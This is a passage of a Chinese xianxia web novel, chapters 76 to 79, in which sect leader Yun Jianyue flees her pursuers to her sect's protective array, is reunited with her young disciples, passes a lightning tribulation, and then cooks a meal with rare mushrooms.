“找!给我仔细地找!”郁长林声音嘶哑地咆哮,“云见月那贱人绝不可能凭空消失,她定然是用了什么隐匿阵法藏起来了,就是把这片废墟翻过来,也要把她给我找出来。” 药仙谷残存的弟子们战战兢兢,开始在断壁残垣间艰难地搜寻。 就在此时—— 云见月消失的那个位置,空间如同水波般微微一荡,她的身影猛地重新出现。 几乎在出现的一瞬间,将速度提升到极致,化作一道流光,朝着玄天宗的方向疾驰而去。 “她在那里——” 一直紧盯着的药仙谷弟子立刻发现了她,尖声叫喊起来。 楚凌风猛地回头,当看清那道疾驰而去的白色身影时,眼中瞬间爆发出滔天杀意和一丝被戏耍的暴怒。 “贱人,哪里逃——” 他怒吼一声,化作一道凌厉剑光,率先追了上去,玄老和黄老也立刻紧随其后。 第76章 绝命逃杀,云见月和楚凌风之间的角逐 凌厉的破空声紧追不舍,三道强悍无匹的气息死死锁定着前方那道白色的流光。 云见月咬牙将速度提升至化神初期的极限,可双方距离还是正以肉眼可见的速度拉近。 楚凌风并指如剑,一道道凝练无比的剑气撕裂空气,不断轰向云见月的前后左右,逼得她险象环生。 化神与炼虚之间的鸿沟实在太大,身后的威压如同滔天巨浪,势如破竹的扑向她。 云见月甚至能清晰感受到杀意几乎要刺透她的后背。 不能死在这里!绝对不能! 她脸上肃杀之色更浓,目光急扫下方。 地面上是一片遮天蔽日的原始密林,参天古木的枝干交错如网,浓密的树叶几乎将天光完全遮蔽,正是绝佳的隐匿之地。 没有丝毫犹豫,她猛地调转方向,俯冲而下,一头扎进了这片不知名的林地。 “哼!以为躲进这破烂林子里就能逃得掉吗?真是天真!”楚凌风见状,嘴角勾起一抹残忍的冷笑。 他带着玄黄二老如同三支利箭,紧随其后射入林中。 三人的身影在粗壮的树木之间急速穿梭,速度快得只剩残影,繁茂的枝叶和复杂的地形似乎根本无法让他们减速半分,炼虚期的强大神识早已牢牢锁定了前方那人的气息。 云见月听着身后越来越近的气流声,一颗心沉到了谷底。 硬拼是死路一条,速度又不及对方,必须用别的办法拖延。 念头急转间,她脑海中猛地闪过灵墟秘境的灵墟之森里,不是栖息着数以亿计的化神期妖兽吗? 虽然单个化神妖兽在炼虚期面前不堪一击,但……量变足以引起质变。 蚁多还能咬死象! 云见月眼中精光一闪,心念猛地沟通了已与她初步融合的境珠。 “以吾之令,唤吾之众——灵墟妖兽,出!” 下一刻,楚凌风三人前方的空间骤然泛起剧烈的涟漪。 “吼——” “嗷——” “嘶——” 震耳欲聋的兽吼瞬间爆发,充满了暴戾与野性。 密密麻麻、形态各异的强大妖兽如同决堤的洪水,从那空间涟漪中疯狂涌出。 它们双目赤红,散发着惊人的化神期威压,汇聚在一起,形成了一股令人头皮发麻的恐怖洪流,直接朝着楚凌风三人席卷而去。 “什么?” “这里为什么会有如此多的化神妖兽?!” 玄黄二老失声惊呼,眼前这一幕完全超出了他们的理解。 楚凌风瞳孔也是骤然一缩,这些妖兽的气息和模样……是灵墟秘境里的妖兽!这怎么可能?! 一场针对他们的小型兽潮就此形成。 无数妖兽悍不畏死地扑来,瞬间将三人前冲的势头阻住。 剑光、法术与妖兽的利爪、獠牙、本命神通猛烈碰撞,轰鸣声、爆炸声、兽吼声不绝于耳。 林木大片大片地倒下,大地剧烈震颤。 云见月抓住这千载难逢的机会,身形冲天而起。 身后的兽吼与剑气碰撞声越来越远,她不敢回头,只一个劲地朝着玄天宗的方向飞去。 感受到云见月的气息正急速远去,楚凌风惊怒交加。 这些妖兽虽然伤不到他们根本,却实实在在地拖住了他们的脚步。 “贱人!在秘境里差点炸死我,这笔账不能就这么算了!你今天必须死——”楚凌风暴怒的吼声震彻山林。 眼见妖兽越聚越多,杀之不尽,楚凌风彻底失去了耐心。 他悬浮于空,并指成诀,身后浩瀚灵力疯狂汇聚,瞬间凝聚出成千上万道凌厉无匹的剑气,剑尖直指下方那片仍在不断涌出妖兽的森林。 “万剑齐发!” 漫天剑气如同暴雨倾盆,倾泻而下。 剑气所过之处,参天古木应声断裂,那些扑来的化神妖兽惨叫连连,被剑气穿透身体,化作一团团血雾。 不过片刻功夫,整片遮天蔽日的森林便被夷为平地,化神妖兽尽数死绝,浓郁的血腥味弥漫在空气中。 “追!” 三人再次化作流光,紧追不舍。 天元宗,荷花池凉亭。 苏心瑶托着下巴,有一搭没一搭地向池子里扔着鱼食,看着那些五颜六色的锦鲤争抢,眼神却空洞地发着呆,显然心思完全不在这里。 林思思坐在她对面,担忧道:“瑶瑶,你这几天到底是怎么了?情绪一直这么低落。” 苏心瑶懒洋洋的,没什么精神道:“没什么。” 林思思叹了口气:“你这样子一看就是心里有事,你是不是还在担心楚少主? 放心吧,我得到消息,他已经突破了炼虚期。 元婴之上的修士具有断肢再生的能力,他的手肯定也恢复如初了。 你若是实在不放心,我陪你去青云剑宗看看他?” 苏心瑶闻言,没什么特别的反应,只是小声地嘀咕了一句,“他都炼虚期了,那么厉害,哪里还需要我担心……” 林思思:“……” 她可是记得,苏心瑶以前提起楚凌风时,眼睛都要放光,怎么这次反而一副提不起劲的样子? 难道是担心云见月? 这个念头刚冒出来,林思思自己都吓了一跳。 不可能,不可能。 瑶瑶和云见月可是死对头,怎么可能...... 她试探着问道:“瑶瑶,你……该不会是在担心云见月吧?” “我担心她?”苏心瑶像是被踩了尾巴的猫,瞬间炸毛,声音都拔高了八度,“开什么诸天万界第一大玩笑!” “她云见月是什么人?整天冷着一张死人脸,好像谁都欠她几百万似的,上次还把我撞进荷花池里,让我丢脸!她还不要脸地纠缠凌风哥哥,我讨厌她还来不及呢!” “灵墟秘境关闭了,她肯定死在里面了!这叫什么?这叫恶有恶报!谁让她平时狂妄自大,以为自己是玄天宗宗主就了不起,连我都看不起……” 她越说越激动,一口气数落了云见月一大堆“罪状”,骂得可谓是酣畅淋漓。 然而,一通输出之后,她非但没有像往常一样心情变好,反而像是泄了气的皮球,嘴角微微下撇,情绪似乎更低迷了,连带着扔鱼食的动作都透着一股烦躁。 林思思:“……” 得,这反应,实锤了。 以前骂完人你可都是神清气爽的。 她刚想再劝点什么,突然,苏心瑶毫无征兆地噤了声,猛地抬起头,目光愣愣地望向苍穹。 林思思顺着她的视线看去,只见一道极快的银色流光正划破天际,朝着天元宗的方向疾驰而来。 距离迅速拉近,那道身影纤细挺拔,白色衣袍在阳光下泛着微光,不是云见月是谁? 林思思震惊地瞪大了眼睛,失声道:“云、云见月?她居然还活着?!” 她话音未落,身旁“嗖”地一声,苏心瑶已经像点燃的窜天猴,窜上了天。 林思思吓了一跳,急忙大喊:“瑶瑶别过去!你忘了上次她是怎么把你撞进荷花池里的吗?” 她急得直跺脚,这丫头怎么总是好了伤疤忘了疼呢! 可苏心瑶根本没听。 不过,苏心瑶这次学乖了,没有傻乎乎地挡在云见月的正前方,而是飘在旁边,双手掐着腰,脸上的郁闷一扫而空,取而代之的是一副得意洋洋的模样。 “呦!这是谁啊?这不是我们玄天宗大名鼎鼎的云大宗主吗?”她声音刻意拉长了调子,“我还以为你早就变成秘境里妖兽的粪便了呢,没想到你这么命硬。” “也是,好人不长寿,祸害活千年,像你这样的人,哪能那么容易死啊?” 云见月归心似箭,身后还有强敌追杀,哪有心思理会她。 甚至连速度都未曾减缓半分,只是极其淡漠地扫了她一眼,便“嗖”地一声从她身旁刮过,只留下一阵疾风。 被彻底无视的苏心瑶,气得小脸通红,在天上跳脚大骂:“云见月!本小姐跟你说话呢!你耳朵聋了吗?” “啊啊啊——你给我站住!有本事别跑啊!整天装模作样的,你以为你很酷吗?贱人就是矫情!” 喊完之后,苏心瑶慢悠悠地落回凉亭里,看起来心情颇好。 林思思无奈地扶额:“……” 她算是看明白了,瑶瑶这纯粹就是欠的! 每次都上赶着去用热脸贴人家的冷屁股,贴完了自己又气得不行,图啥呢? 苏心瑶一屁股坐回石凳上,拿起盘子里精致的糕点,恶狠狠地咬了一大口。 嚼了几下,她突然眨眨眼,疑惑道:“咦?奇怪,今天的糕点怎么好像特别好吃?” 林思思:“???” 我的大小姐,那是你确认了云见月活蹦乱跳没死成,心情瞬间由阴转晴,所以看什么都顺眼了吧?! 她正想吐槽,突然瞥见天上又飞来三道身影。 林思思赶紧推了推苏心瑶:“瑶瑶快看!是楚少主他们!” 苏心瑶百无聊赖地抬眸瞥了一眼。 当看清那为首之人确实是楚凌风时,她也只是没什么波澜地“哦”了一声,又拿起一块桂花糕,“看到了,有什么稀奇的。” 林思思这下是真的惊愕了:“瑶瑶,你不去和楚少主打个招呼叙叙旧吗?” 这太阳是打西边出来了? 苏心瑶嘴里塞得鼓鼓囊囊,含糊不清地道:“有什么好叙旧的,又不是以后见不到了,我现在肚子饿得很,天大地大,填饱肚子最大。” 林思思彻底懵了:“啊???” 瑶瑶你没发烧吧?以前你见了楚少主,恨不得飞过去跟他同乘一剑,今天怎么连眼皮都不抬一下?这还是你吗? 林思思再次抬头看去,就见楚凌风带着玄黄二老,向着玄天宗的方向急飞而去。 前方,玄天宗巍峨的山门轮廓已经隐约可见。 云见月苍白的脸上不禁浮现出一丝希望的喜色。 然而,身后猛地传来楚凌风暴怒的吼声,“云见月!你跑不掉了!” 她只觉一股锥心刺骨的寒意自身后袭来,一道凝聚了炼虚期全部力量的恐怖剑光,已撕破空气,直逼她的后心。 第77章 安全回到宗门,孩子们喜极而泣 云见月眸中寒芒乍现。 她猛地转身,双手在胸前飞速结印,极致寒意瞬间弥漫天地。 “凝!” 随着她一声清冽低喝,周身澎湃的冰灵力疯狂涌向掌心,无数冰棱从虚空中暴涌而出,飞速堆叠、咬合,眨眼间便凝为一面高逾三丈、厚达数丈的冰墙,宛如一座微型冰山骤然拔地而起。 寒气凛冽得让周围空气都凝结出细碎的冰晶,连地面的青草都覆上了一层白霜。 “轰隆——!!!” 剑气狠狠地劈在了冰墙上。 震耳欲聋的巨响轰然爆发,恐怖的冲击波呈环形向四周疯狂扩散,地面裂开蛛网般的沟壑,周围的古木应声折断。 冰墙四分五裂,飞溅的冰屑如锋利的刀片,割得空气都发出“嘶嘶”声。 终究是炼虚期的全力一击,化神期凝聚出来的冰墙根本不堪一击。 不过,争取到的这短短一瞬的时间,已经足够了。 云见月借着爆炸产生的巨大反推力,身形如离弦之箭般倒飞而出,衣袂翻飞间,她精准地没入了玄天宗护山大阵光幕之中。 一入大阵,那熟悉、温暖的宗门灵气瞬间将她包裹,所有外界的杀意、威压、轰鸣声被彻底隔绝在外。 安全了。 云见月踉跄一步才勉强站稳。 她深吸一口气,缓缓抬眸,目光冰冷地望向阵外。 “贱人!你以为躲进护山大阵就有用吗?看我不把你这烂阵攻破。”楚凌风眼见功亏一篑,气得几乎理智全失。 “玄老,黄老,助我破阵!” 玄黄二老立刻应声。 一时间,法术的光芒狠狠砸在玄天宗的护山大阵上,爆开一团团绚烂而危险的光晕,轰鸣巨响震得大地都在微微颤抖。 然而,宗门大阵却稳如磐石,所有的攻击落在上面,仿佛泥牛入海,都被其内部的阵法之力轻易地瓦解吸收。 紧接着,大阵表面光芒流转,方才吸收的所有攻击能量,经过阵法转化,竟以更凶猛的态势反射了回去。 三人脸色剧变,慌忙各施手段抵挡,一时间手忙脚乱,狼狈不堪,再也不敢轻易攻击。 云见月静静地站在护山大阵之后,山风吹拂着她的衣袂和发丝,却吹不散她周身那冷冽淡然的气场。 她神情淡漠平静,那双清澈如寒潭的眼眸,无波无澜地看向阵外面目狰狞的楚凌风。 楚凌风挡下一波反弹攻击,气息尚未平复,一抬头,正好对上云见月那平静得近乎漠然的眼神。 那眼神里,没有恐惧,没有愤怒,没有得意,甚至没有一丝一毫的情绪波动。 这种极致的平静,衬托的他歇斯底里的疯狂有多么可笑滑稽。 他厌恶透了云见月这副平静无波的样子。 这让他所有的暴怒都像打在了棉花上,像个表演失败的小丑。 明明他才是强者,该被俯视的是她。 这种倒错像毒蛇般啃噬着他的自尊心。 “云见月,你看什么看,你有本事给我滚出来受死——” “缩头乌龟,仗着阵法算什么本事?” “贱人!我必杀你,必将你玄天宗踏平!!!” 他气得浑身发抖,额角青筋暴起,指着云见月疯狂地怒骂咆哮。 可惜,玄天宗的护山大阵已然开启了全部禁制,内外彻底隔绝,连声音都无法传递。 在云见月眼中,楚凌风所有的愤怒和咒骂,都只是一出无声的、极度滑稽的哑剧。 她看到他因极度愤怒而扭曲涨红的脸,看到他激动近乎癫狂的动作。 她就这么静静的看着他发疯。 看了一会儿,觉得索然无味,她转身头也不回地飞向主峰。 徒留阵外的楚凌风和玄黄二老,对着那坚不可摧的大阵跳脚。 …… 主峰的小院里,一片死寂。 萧星尘、鹿闻声、江迷雾和苏渺渺,围坐在小院的石凳上,脸上尽是化不开的忧色。 苏渺渺的眼睛红红的,声音带着哭腔:“三师姐和青璃姐姐怎么还不回来?她们不会也像师尊那样……出事了吧?” “别瞎想,她们定然会没事的。”萧星尘沉声道,可他颤抖的指尖却暴露了内心的不安。 自从灵墟秘境关闭,师尊陨落的消息传来,整个玄天宗都被阴霾笼罩,如今连郁仙和青璃都没了音讯,他这个大师兄,快要撑不住了。 就在他们如丧考妣时,一道白色身影缓缓降落在庭院中央。 时间仿佛在这一刻被冻结了。 四个人瞳孔骤然收缩到极致,几乎不敢相信自己的眼睛,全都愣愣地、近乎呆滞地看着那个突然出现的熟悉身影。 “……师……尊?”鹿闻声的声音干涩发颤,带着一丝不确定和小心翼翼的试探。 他怕这是自己太想念师尊出现了幻觉。 怕自己声音太大,幻觉就从眼前消失。 话音落下,对面的人扬起了他熟悉的宠溺笑容,声音很轻很柔,却清晰的传入每一个人耳中。 “是为师,为师活着回来了。” 这一声如同打开了泄洪的闸门。 苏渺渺“哇”地一声哭出来,猛地从石凳上弹起,不顾一切地扑了过去,一头扎进云见月的怀里,用力搂着她的腰身,小小的肩膀剧烈地颤抖着,哭声撕心裂肺: “呜呜呜……师尊!真的是师尊,渺渺以为……渺渺以为再也见不到你了,呜呜呜……” 云见月感受着她滚烫的泪水浸湿了她的衣襟,听着那充满后怕和委屈的嚎啕大哭,她鼻尖一酸,眼眶也忍不住泛起热意。 “对不起,是师尊不好,让你们担心了。” 萧星尘、鹿闻声、江迷雾也围了上来。 萧星尘死死抓着她的衣袍,鹿闻声埋在她怀里哽咽,江迷雾则抿着唇,不说话,却用尽全力抱着她的腰,手背青筋都绷了起来,眼泪无声地落下。 云见月被他们团团抱住,心中又暖又痛。 她耐心地、一个一个地轻声哄着他们,抚摸着他们的头发,重复着“我回来了”、“没事了”。 等孩子们哭得差不多了,情绪稍缓,萧星尘才仰起头,脸上还挂着泪痕,却已被浓浓的自责取代: “师尊,对不起!是我没用,我没有护好三师妹,她被药仙谷的人抓走了……青璃姐姐为了救三师妹,也一直没有回来……” 说着,他又忍不住哽咽起来,觉得自己辜负了师尊的嘱托。 云见月却递给他一个无比安抚和温和的眼神,轻轻擦去他脸上的泪:“星辰,不必自责。你看,为师将她们都带回来了。” 说着,她广袖轻轻一挥。 下一刻,郁仙、青璃、花影以及合欢宗的众人,瞬间凭空出现在庭院之中。 大家左右看看,发现已经回到了玄天宗,这才彻底放松下来,纷纷长舒了一口气。 萧星尘、鹿闻声、江迷雾和苏渺渺看着这凭空出现的的一大群人,全都惊得张大了嘴巴,一脸的震撼和不可思议。 “这……这到底是怎么回事呀?”萧星尘惊叫道。 云见月温柔地摸了摸他的小脑袋,“这件事说起来话长,为师现在有极其重要的事情必须立刻去做,星辰,你帮为师照看师弟师妹们。” 说完,她的目光立刻转向一旁的花影,神色变得郑重:“花师兄,情况紧急,还需再麻烦你帮我照看一下孩子们。” 花影想起还在秘境里压制境珠的虞青焰,脸色一正:“放心去,这里交给我。” 得到承诺,云见月不再有丝毫迟疑,身影一闪,消失在原地。 尽管已经亲眼目睹了师尊将人带出来的神奇手段,但再次看着她就这样瞬间消失,还是让四个小家伙感到无比的震撼和难以置信。 …… 灵墟秘境中。 云见月的身影刚刚出现,便发现整个秘境空间都在轻微震颤,远处的山峦虚影明灭不定,仿佛随时都会因核心的躁动而崩溃。 她的心猛地一揪,目光急扫,瞬间就看到虞青焰盘膝坐在虚空之中。 他的衣袍被境珠的乱流撕裂成碎片,发丝凌乱地贴在额角,脸色是近乎透明的惨白,嘴角溢出的血丝顺着下颌滴落。 他双手结印,指节因用力而泛白,却依旧死死压制着疯狂躁动的境珠,不让它挣脱半分。 云见月立刻飞身上前。 “虞青焰。”她的声音带着歉意,“辛苦你了,接下来就交给我吧!” 云见月伸出手,轻轻覆上境珠。 契约的力量立刻生效,原本狂暴的境珠接触到她的指尖,光芒立刻柔和下来,乱流也渐渐平息。 云见月作为与境珠契约的主人,只有她才能真正安抚和掌控这颗蕴含着一方世界之力的核心。 虞青焰终于松开手,靠在身后的岩石上,大口喘着气。 他抬起那双因透支而显得有些黯淡却依旧深邃的眸子,看向云见月,扯出一个虚弱的笑。 “......你再晚来一会儿......就可以……给我收尸了……” 云见月的眼神既感激又带着浓浓的歉意,“谢谢,这次多亏有你。” 虞青焰抬手擦掉嘴角血迹,痞气道:“光说谢谢可不行,说些好听的,先让我高兴高兴。” 云见月:“......” 都这个时候了,你还有心思开玩笑。 第78章 云见月突破化神中期,脚踏莲台,神韵出显 看着虞青焰那苍白虚弱却还强撑着耍帅的模样,云见月又无语又有点心疼。 她走上前,微微倾身,一双清眸含着笑意,将他上上下下打量了个遍。 虞青焰被她看得有些不自在。 “干、干嘛?不会又被我的绝世容颜倾倒了吧?” 听着他傲娇的话,云见月心里好笑,脸上却一本正色的夸赞: “虞美人,这次真是多亏你了。” "都说美人如玉剑如虹,你,虞青焰,当之无愧。" “你这般人美心善,放在凡间,怕是能让满城姑娘都为你倾倒,妥妥的人见人爱花见花开。" “这般舍己为人、英勇无畏,连境珠那等狂暴之物都能被你治得服服帖帖,这份本事,这份气度,真是让我心悦诚服。” 这一连串的赞美,饶是自恋的虞青焰都有些招架不住,耳尖倏然染上霞色,连唇角那点朱砂痣都鲜亮得要滴出血来。 “你......你这话说得倒是......”他眼神飘忽,假装不在意地“唰”一下打开折扇猛扇风,试图驱散脸上的热意,语气加快道:“这秘境里闷死了,赶紧送我出去透透气!” 云见月没再多言,心念一动,虞青焰就消失在了秘境里。 她则是沉下心神,开始炼化境珠。 她指尖凝出淡蓝色灵力,如同细密的冰丝,缓缓缠绕上境珠,将其层层包裹,丝丝缕缕地融入自己的神魂与丹田之中。 她能清晰感受到,境珠中的世界虚影在与她的灵力融合,从最初的排斥到后来的契合。 时间在寂静中流逝。 不知过了多久,当境珠完全融入体内的刹那,极致的寒意以她为中心荡开,身下骤然绽开冰莲幻象。 那冰莲由九百九十九瓣莲花瓣组成,每片莲瓣都镌刻着大道霜纹。 她仿佛端坐于莲台之上,宝相庄严,宛如神祗苏醒,神圣不可侵犯。 冰莲缓缓旋转,带动着秘境中的灵气疯狂涌向她。 她体内的灵力骤然暴涨,丹田气海被填得满满当当,开始冲击境界壁垒。 似有所感,云见月身影一闪,瞬间消失在秘境。 同一时刻,玄天宗上空,原本晴朗的天空骤然暗了下来。 厚重的劫云蕴含着无尽的毁灭力量,眨眼间便覆盖了整个天空。 云见月的身影凭空出现,白衣飘飘,悬浮于劫云之下,直面那煌煌天威。 “师尊——”下方的孩子们惊呼。 虞青焰吃过丹药早已伤势好转,此刻正懒洋洋地躺在树下的摇椅上,抬眸看向天际。 花影反应极快,一声令下:“护好孩子们!” 合欢宗的八位元婴大能瞬间而动,将孩子们护在中央。 所有人都屏息凝神,仰头望着空中那道纤细却无比坚定的白色身影。 第一道天雷,粗壮如柱,撕裂天空,带着毁灭一切的气势狠狠劈落,精准地轰在云见月身上,刺目的雷光将她吞没。 然而,雷光散去,她依旧悬浮原地,白衣胜雪,发丝都未曾凌乱一分。 那足以让普通化神修士皮开肉绽、筋骨受损的天雷,竟连让她皱一下眉都做不到。 她的根基,在火凤凰、枯荣轮回菇、还阳果以及那四十九次血祭的极致锤炼下,早已扎实得超乎想象。 肉身强度与神魂韧性,远非寻常同阶修士可比。 这化神雷劫的痛苦,相较于她曾承受过的,简直微不足道。 第二道,第三道……第八道! 一道比一道凶猛的天雷接连落下,每一次都精准地命中云见月。 她始终岿然不动,周身弥漫起淡淡的冰雾,将残余的雷电之力轻易化解。 她悬浮于空,神情平静,仿佛不是在渡劫,而是在接受一场灵气的洗礼。 那般强大,那般从容,简直匪夷所思。 下方合欢宗的众人看得目瞪口呆。 “强!实在是太强了!” “这……这真是化神期的雷劫吗?” “云宗主的修为,究竟深厚到了何种地步?” 八道天雷劫过后,云见月依旧毫发无伤。 这般的轻松写意,似乎彻底激怒了天威。 第九道天雷迟迟未曾落下,高空中那厚重的劫云开始剧烈翻滚,内部传来令人心悸的能量压缩的轰鸣声。 好半晌,一道刺目的紫光终于撕裂了黑暗的云层。 那并非普通的闪电,而是一条狰狞咆哮的紫色雷龙。 它携带着远比之前八道天雷加起来还要恐怖的毁灭气息,张牙舞爪地朝着云见月猛扑而下。 “师尊——”孩子们的心瞬间提到了嗓子眼,忍不住失声惊呼。 云见月垂眸,看向下方一张张写满担忧的小脸,原本冰冷的眼神如冰川融化。 她扬起一抹温柔安抚的笑容,“别怕。” 然而下一秒,紫色雷龙便狠狠劈在她的头顶。 爆闪的雷光将她的脸庞映照得忽明忽灭。 可她的神色却依旧平静,甚至唇瓣勾起一抹势在必得的浅笑。 她的身姿依旧挺拔,未曾动摇半分。 狂风卷起她的衣袂长发,脚下那座巨大而圣洁的冰莲虚影再次浮现,缓缓旋转,莲瓣之上闪烁着细微的紫色电弧,更添几分神秘与强大。 所有人都被这一幕震撼得说不出话。 从未有人在渡劫时,脚下会浮现如此神圣的冰莲幻影。 随着最后一道雷龙消散,劫云不甘地翻涌了几下,最终缓缓退去。 阳光撕开云层洒下,云见月周身的气息暴涨,化神中期的威压笼罩了整个玄天宗。 她踏着莲影自九天拾级而下。 每落一步脚下便生出一朵冰莲,清冷绝艳,不染尘埃。 随着她的靠近,一股清冽的寒气扑面而来,却不刺骨,反而带着冰莲特有的冷香,让人心旷神怡。 落地的刹那,寒气尽数收入体内。 “师尊!”孩子们欢呼着冲了过来,用力抱住她的腰身,仰起的小脸上满是激动与濡慕之情,“师尊好厉害!” 云见月笑着挨个抚摸他们的头,短短几日经历生死离别,孩子们似乎真的长大了不少,面对那般可怕的天雷劫,没有哭闹,只有全然的信任,让她心中一片柔软。 “恭喜月月突破化神中期!”花影快步走过来,眼睛亮得像星星,“刚才那冰莲也太好看了。” 呜呜呜,好拉风,好想要。 合欢宗众人也纷纷围上来,七嘴八舌地表达着祝贺与惊叹,场面一时热闹又温馨。 庭院里满是欢声笑语,温馨的氛围驱散了雷劫带来的压抑。 虞青焰看着这一幕,脸上也露出了淡淡的笑,他闭上眼睛,耳边充斥着欢声笑语,竟不觉得吵闹,反而有一种奇异的安宁感。 “虞大美人,不恭喜我?” 云见月的声音突然传来。 虞青焰睁开眼,就见她正挑眉看着自己。 他立刻收起笑容,故作淡定道:“以你的水平,渡劫成功不是轻轻松松?这是早就预料到的事,有什么好恭喜的。” 云见月一脸无语:“你这人,真够破坏气氛的。” “哼!”虞青焰轻哼一声,懒洋洋道:“行吧行吧,恭喜云宗主突破化神中期,所以......” 他话锋一转,摸了摸肚子,理直气壮地说:“可以做饭了吗?我好饿啊……” 他可是怀念她的手艺怀念得不得了,她不在的这几日,辟谷丹吃得他嘴里都快淡出鸟了。 云见月闻言,又气又笑。 这个家伙,一天天不是吃就是睡,跟个饭桶似的。 下次不叫他虞美人了,叫虞饭桶! 她低头看向还黏在自己身边的孩子们,声音瞬间变得温柔:“宝贝们,你们想吃什么?” 孩子们大眼睛亮晶晶的,盯着云见月,半天舍不得移开视线。 小奶音异口同声地道:“只要是师尊做的,我们都……” 不等他们说完,云见月就抬手打断,笑容宠溺:“不许敷衍我,你们大胆说,只要是为师会做的,今天都给你们做。” 小家伙们一听,感动得眼泪汪汪。 呜呜呜,师尊对他们太好了,有师尊疼真好。 郁仙先咽了口唾沫,小声道:“师尊,我想吃小鸡炖蘑菇,可以吗?” 有了她开头,苏渺渺立刻举手:“我想吃糖醋鱼!” 萧星尘也道:“师尊做的红烧肉最好吃!” 云见月一拍手:“好,为师这就去做。” “好耶好耶!那我们给师尊打下手。”孩子们欢呼着,围在她身边。 云见月笑着将他们抱进怀里,在每个人的小脸上亲了一口:“真是为师的贴心小棉袄。” 孩子们笑得格外开怀,郁仙更是转身跑回房间,从床底下拖出一个木箱子。 里面是她精心培养的蘑菇,涨势喜人,一个个肥嘟嘟水灵灵的,还发着光。 她抱着箱子,迈着小短腿往厨房跑。 却不想,路过虞青焰和花影时,突然被喊住。 向来淡定的虞青焰,猛地从摇椅上坐起来,眼神死死盯着那个木箱子,声音都有些变调:“仙儿……你怀里抱的是……” 郁仙停下脚步,不明所以,却乖巧答道:“蘑菇呀,虞叔叔,你不认识蘑菇吗?” “一会儿师尊要做小鸡炖蘑菇,就是用这个。” 她还特意把箱子往前递了递,让他看清楚。 花影也看清了箱子里的东西,猛地倒吸一口凉气,几乎是瞬间闪身过来,声音都结巴了:“蘑、蘑菇?你确定……是这个蘑菇?” 郁仙被他们激烈的反应弄得有点懵,眨巴着大眼睛,肯定地点点头:“对呀,上次师尊就给我们用这个蘑菇做了,可好吃了,嘻嘻……” 虞青焰和花影看着箱子里那些“肥美”的蘑菇,又看看郁仙天真无邪的小脸,两人瞳孔地震,面面相觑,脸上同时露出了极度难以置信的表情。 用上古玄菌做小鸡炖蘑菇??? 第79章 云见月得知自己吃了火凤凰和枯荣轮回菇震惊 虞青焰和花影看着那箱灵气四溢、纹路玄奥的蘑菇,又看看抱着箱子一脸天真无邪的郁仙,只觉得头皮发麻。 “仙儿,等等!”花影急切道:“这蘑菇……它、它可能不能炖鸡!” 虞青焰也难得地一脸严肃,点头附和:“此物非同寻常,用来炖鸡,怕是有些……暴殄天物。” 他努力斟酌着用词,生怕吓到孩子。 郁仙闻言,立刻把小木箱抱得更紧了,小嘴一撇,大眼睛警惕地看着他们:“为什么不行?这蘑菇就是用来炖鸡的!上次炖了可好吃了!虞叔叔,花叔叔,你们是不是想抢我的蘑菇?” 哼!花叔叔平时总爱把好看的鲜花插在衣襟上,虞叔叔也总对着镜子整理头发,他们肯定是觉得我的蘑菇发光好看,想抢去当装饰,才不给你们! 看着她一副“你们休想抢我宝贝”的倔强小模样,两个大男人顿时手足无措。 “不是,仙儿,我们不是要抢……”花影试图解释。 “那为什么不能吃?”郁仙逻辑清晰,寸步不让。 虞青焰扶额,这该怎么跟一个孩子解释这是能引起修真界血雨腥风的上古玄菌? 说了她也不懂啊! 就在两人绞尽脑汁想着如何委婉劝阻时,郁仙瞅准机会,抱着箱子,拔腿就跑,“师尊等我!我来啦!” 郁仙冲进厨房,献宝似的把箱子递到云见月面前。 云见月笑着拿起一颗蘑菇看了看:“长得真不错,我们仙儿简直就是草木小精灵,连蘑菇根都能种活。” 郁仙被她夸的不好意思。 云见月为了省事,直接用了一个清尘术,蘑菇顿时干干净净。 她手起刀落,利落地将蘑菇切块,扔进了锅里。 虞青焰和花影追到厨房门口,看到的就是这一幕,心疼得嘴角直抽。 厨房里欢声笑语,孩子们叽叽喳喳的打下手,锅碗瓢盆的叮当声交织在一起,充满了生活气息。 没过多久,饭菜的香味就弥漫了整个主峰。 巨大的圆桌上摆满了丰盛的菜肴,糖醋鱼、红烧肉,但所有人的目光,都不由自主地被桌子正中央那一大盆小鸡炖蘑菇所吸引。 浓郁的汤汁呈现出淡淡的金色,饱满的蘑菇吸饱了汤汁,散发着莹润的光泽和惊人的香气。 花影盯着那锅蘑菇,喉结不自觉地滚动了一下,终究还是忍不住开口:“小、小月月啊……你难道不知道……这是枯荣轮回菇吗?” 云见月给孩子们夹菜的动作猛地一顿,脸上浮现出震惊:“啊?枯荣轮回菇?这难道不是和枯荣轮回菇长得特别像的普通蘑菇?” 虞青焰在一旁听得差点被口水呛到,无语地翻了个白眼:“当然不是!你上次去黑市卖枯荣轮回菇,难道就没发现这两者一模一样?” 云见月:“……” 她当然发现了,但她一直坚信顶多是长得像而已。 谁会想到枯荣轮回菇能随便在山野里采到? 如果这真是枯荣轮回菇…… 她脑海中瞬间闪过在秘境中被反复血祭、死亡重生的画面。 或许,自己能一次次复活,不仅仅是因为还阳果,极大概率,这枯荣轮回菇蕴含的“轮回”之力,才是关键! 虞青焰看着她变幻不定的神色,又问:“这么多枯荣轮回菇,你究竟是从哪里弄来的?” 这运气也太逆天了。 云见月从震惊中回过神,先是看了一眼吃的正香的苏渺渺,道:“就是偶然在山野里采到的,因为是第一次见,看着挺好看,闻着也香,我只以为是没见过的普通灵菇,所以就……给炖了。” 她越说声音越小,自己也觉得有点离谱。 在场众人:“……” 罢了罢了,炖了就炖了吧,还能怎么样? 既然知道了这是足以让外界打破头的枯荣轮回菇,大家吃的就更起劲了,每一口都感觉是在吸收天地造化。 一大锅小鸡炖蘑菇,被十六个人吃得一干二净,连汤汁都被用勺子刮得干干净净。 其他的菜也全部光盘,一顿饭吃得每个人体内都暖洋洋的,灵气充沛。 萧星尘摸着自己圆滚滚的小肚子,心满意足道:“真是太好吃了,不过我还是最喜欢师尊第一次给我们做的那个烤鸡,味道特别香。” 说起烤鸡,郁仙、江迷雾和苏渺渺也忍不住吸溜了一下口水,小脸上满是怀念。 只有鹿闻声,想到那只凤凰,嘴角微不可查地抽搐了一下。 云见月也叹了口气,有些遗憾:“那只鸡确实是我吃过最好吃的,肉质鲜嫩,蕴含的灵力也足,可惜就只抓到那么一只,后来再吃的灵鸡,味道都远不如那只。” 花影慵懒地靠在椅背上,随口问道:“哦?是什么样的鸡?能让你们这么念念不忘。” 云见月回忆了一下,描述道:“就是五彩缤纷的,羽毛特别漂亮,尾羽很长,对了,它还会喷火呢,我还是第一次见到那么漂亮又凶悍的七彩凤羽鸡。” 